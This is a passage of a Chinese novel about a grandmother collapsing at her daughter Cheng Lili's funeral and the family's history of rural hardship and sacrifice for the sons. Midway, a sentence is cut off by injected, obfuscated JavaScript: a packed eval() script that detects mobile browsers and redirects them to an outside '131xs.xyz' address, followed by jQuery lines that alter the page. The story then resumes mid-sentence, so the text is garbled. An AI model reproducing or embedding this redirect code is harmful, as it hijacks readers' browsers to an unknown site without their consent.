她是很容易从面相上就看出来和善的老太太，身量不高，仰着头跟人说话还带着笑，就算是这样的外甥也是疼爱的，她还带着两个酒窝，夹在皱巴巴的桃核脸上。
程莉莉继承了一个，一笑也甜甜的，只是她不爱笑，到李许这里，只剩下一个浅浅的痕迹。
外婆姓宁，妈妈姓程，女儿姓李，她们身上淌着一样的血，却是三个姓氏，从前往后，逢年祭祖，伴的不是血肉兄弟，蒲公英一样散成了别人的种。
她从停车场进来，门口站了一群谁的儿子兄弟侄子外甥，看起来都很孝顺，姑姑姨姨叫了一通，挤在一团要去搀她上台阶，手是动了，腿还钉在原地。
她被侄子搀着上台阶，是很吃力的，生完了孩子下地干活，腿都缩成了两条弯曲的撇开的弧，又打过支架，弯腰驼背的时候要用足了力气杵在地上，一只手伸出来另一只还在都，她“哎呦哎呦”地爬了上来，怕给别人添麻烦，在门边一站，喘了半天，愈发显得只有这些侄甥一半高。
她有白内障，一只眼已经看不全了，眯了好久缓了一气才看清女婿：“呀宏科！”她很高兴，拍了拍他的胳膊，“咋看起瘦了，你不要吃那么多烟。”老丈人也伸出手来，他还是稀里糊涂的，倒是知道抽烟，谁递了他一根，他抽的很高兴，她还是很快乐，“你咋来了，莉莉哩，她夜隔没给我打电话，怕有啥事哩，许许哩，咋也不知道打个电话，她哥哩，学习紧张不？”
她说了很多话，女婿还是不言语，他对她是没有多少尊敬的，他妈教给他，你只有一个妈，见了程莉莉的妈要叫姨，不然就是对我不孝，她读书还是你出钱。
他就这么叫了二十几年，程莉莉也不惯着他，她根本不带称呼李宏科他妈的，他为此还闹事，很奇怪，男人的孝心还要女人来彰显。
她的大侄子劈开人群，把她拉到了外孙外孙女面前，他们三个站在一起，门口是一群人，花圈前头是另一群人，屋子角落里散着另一群人，很多人都在说话，却没人走到她旁边，只有正中间这三个，他噗通跪下来：“姑。”
两个小的也没说话，跪在后头，那里躺着一座冰棺，里头睡了一个人，是她的女儿，他的姐姐，他们的妈妈。
她是看不清的，只有这时候不需要看也能明白，她倒了下去，这时候屋里突然就活了，程莉莉的娘家人全冲上来说这舅甥三个不孝，程莉莉泉下有知都要跳起来，呼啦啦推着老太太上急诊抢救去了。
李宏科的家里人也过来了，凑在一起，要给老丈人也讲讲，好抓紧给程莉莉拉走埋了，他是一个不怎么有出息的人，家里的老小，连读书都觉得吃力，成分也不好，读着读着爹死了。
哥哥们都有出息，就把地留给他了，让他在村里做会计，过了几年吧，说了个媳妇，媳妇18就嫁进来了，她也是家里的老小，读着读着爹也死了，区别在她八岁就没了娘，哥哥们要娶亲，她是读书的材料也不行，她得做聘礼的材料。
就这样，农忙的时候，他一定要在支队呼风唤雨的，读书人是不下地的，她要带着大的，大的要一趟一趟把麦子拉到架子车上，姥姥一趟趟刈麦，大舅舅就拖着一个框，背着一个框，把麦子拉到架子车旁边，再由妹妹拉回去，最小的弟弟和麦子一起躺在架子车上，不带着不行，孩子才两个月。
程莉莉那时候不到八十斤，胳膊就一掐大，麦子一二百斤一车，她把弟弟给娘喂奶，一步一步拉回去，车把她埋住了，她还是能走回去，回去要在车上先半框半框往下倒麦子，这就不是肩上背着背带，两条胳膊抖着能完的了。
还要烧上水，因为爹要回来喝茶的。
空车走到地里这段路，是最轻松的一段路，风能吹走日头，也能抬起头来看看。
到了地里，哥哥就又背了一筐一筐的麦子来了，娘在奶孩子的时候，他就得接着干活，抢麦就这么几天，谁也不能停，他再转身，汗衫上都是血道子，麦是很刺人的。
等回去了，她在厨房里做饭，这对儿女就要在院子里晒麦，等农忙假过去了，哥哥是可以回去读书的，妹妹要休学一年带弟弟，因为家里供不起了，他们都没有说什么。
收假了，他背上一袋馍馍，走上二十几里的山路去上学，这要吃六天的，到第四天就出霉了，大家都是这么吃过来的，没人吃坏，妹妹就在门框后面背着弟弟看。
哥哥是能吃三合面的馍馍的，她是没有的，农人也不吃新打的粮食，是要在支队等收粮的来了，把新粮换成去年的旧粮食，这才是他们吃的。
唯一能吃新粮的是这个家里的会计，他嘴最馋的时候，是可以吃麦种的。
她是爱读书的，几袋粮和一间半的瓦房，就没读了。要女儿读出个前程来，所以还住的那一间半的瓦房。老大大学毕业了，分配到单位，硬是自己又考走了，这时候要说亲了。
老小也是读书的年纪，老二心思重，偏偏没考上学，三个孩子同时读书谁拿的出钱，老二要不读了，天降了个女婿，她复读了一年，再之后家里的日子就松快了。
老大是怨家里的，他考上去的时候，他爸要他给安排的工作，为此辞了村里的会计，一声也不说就到了，他托了又托人，给爹找了个门房的工作，烧茶水，那怎么办呢，他来了一个多月了，只有小学文凭，比他多年了五年书的娘却在家里带孩子。
他干了半个月就回去了，因为有一天晚上来人了，他还在门房睡觉，煤炉子生的旺旺的，叫了半天才醒，进去等一杯茶水也没有，他不会干这个，一瞪眼：“你是哪个皇帝，我不伺候人的。”
对面也没生气，问他怎么来的，他骂了儿子一通，给爹找了这么个烂地方。
第二天他回去了，第二年他儿子还没过考察期。
他后来结婚是他娘把陪嫁的银镯子耳环全卖了，添了些，还带了个橘子罐头，他爱吃罐头，那时候生病也吃不上，因为买回来爹就吃了，只能喝到汤水
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15699674|170426||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，家里剩下的人没资格喝这甜水。
那时候他已经不怎么稀罕罐头了，娘俩一起吃完，她说：“儿，娘对不起你。”他掉眼泪，这是她第一次吃到罐头的滋味，只尝了一口，玻璃瓶洗干净带回去了，最后是他自己攒的钱，这才结婚了，媳妇是不往家里来的。
老二也是怨家里的，但是她不敢，她跟她妈一样，被文工团看上，要学跳舞，这妖里妖气的东西是贵到天上的，不许学的，要读书只能按哥哥说的学，上学了是有喜欢的人的，两口子吵架的时候，她搂着李许说过，这辈子不要远嫁。
她喜欢的人刚好也喜欢她又漂亮又清高，但是家里太穷了，穷人是没有喜欢的，另一个穷人在校门口五块三块地修收音机供她上学呢。
喜欢的人后来看见过这个年少时的白月光，那时候她辞职了，在店里和修理工吵架，对面偷了一个万用表，三十多块，没结账。
男人的喜欢是很廉价的，她不清高了，蒲公英就被风吹散了。男人的爱却是很值钱的，李宏科的钱都在她手里。李许在电视上见过程莉莉说的这个人。
老三是不怨家里的，他和家里最亲。老大结婚了，读书上给他指了条明路，工作了他又是第一考上的，哥哥又托人，让他在离家两百多里的山沟，去了离家近的山沟，三五十里算乡里乡亲，是好办事的。老二也结婚了，供他读了十来年的书，他第一年考上了，不喜欢，老二两口子再出学费，让他复读。
复读的时候娘去看他，桌子都让老师清走了，她气坏了，老师更气，他带着同学们跑出去野，一个礼拜没见人了。但是他实在太聪明了，这也考上了，是十里八乡的状元。
一直聪明到工作为止，他开始怨家里为什么没助力，聪明人惯会找原因的。他开始痴迷打牌，这时候姐姐和娘的话他就不听了，恰好相了个对象，他没看上人家，点点大，瘦瘦小小的，他有中意的对象，两个人也不好意思，只写信来往。
点点大是很情愿的，她先去搂着李许的姥姥睡了一个月，又给李许的妈打电话，这两边都答应了。最后天天跑去看他，他是不理的，照样打牌，她直接给牌桌掀了，给了小舅舅一个耳光。
他被下了面子也不敢言语，因为他是女人养大的，后来只能偷着打。
她还掀桌子，这下连他同事一起打，再没人敢叫他打牌，都知道他有个厉害媳妇。
确实是媳妇，两口子结婚的时候，她已经怀上了。
程莉莉或者任何一个穷人家的女儿都是不敢闹的，这么泼辣的弟妹家里是有人疼爱的明珠。
没几年吧，聪明英俊的小舅舅就青云直上了。
所以说，李许她姥爷这辈子谁不羡慕，再享福不过，从哥哥养到婆娘养，老了三个孩子还有出息，工作也好，连结的亲都个个好，孙子辈也全是读书的种子。
他也是有烦恼的，家里人除了自己的婆娘，没有人听他摆谱，但这种时候他还是要说的。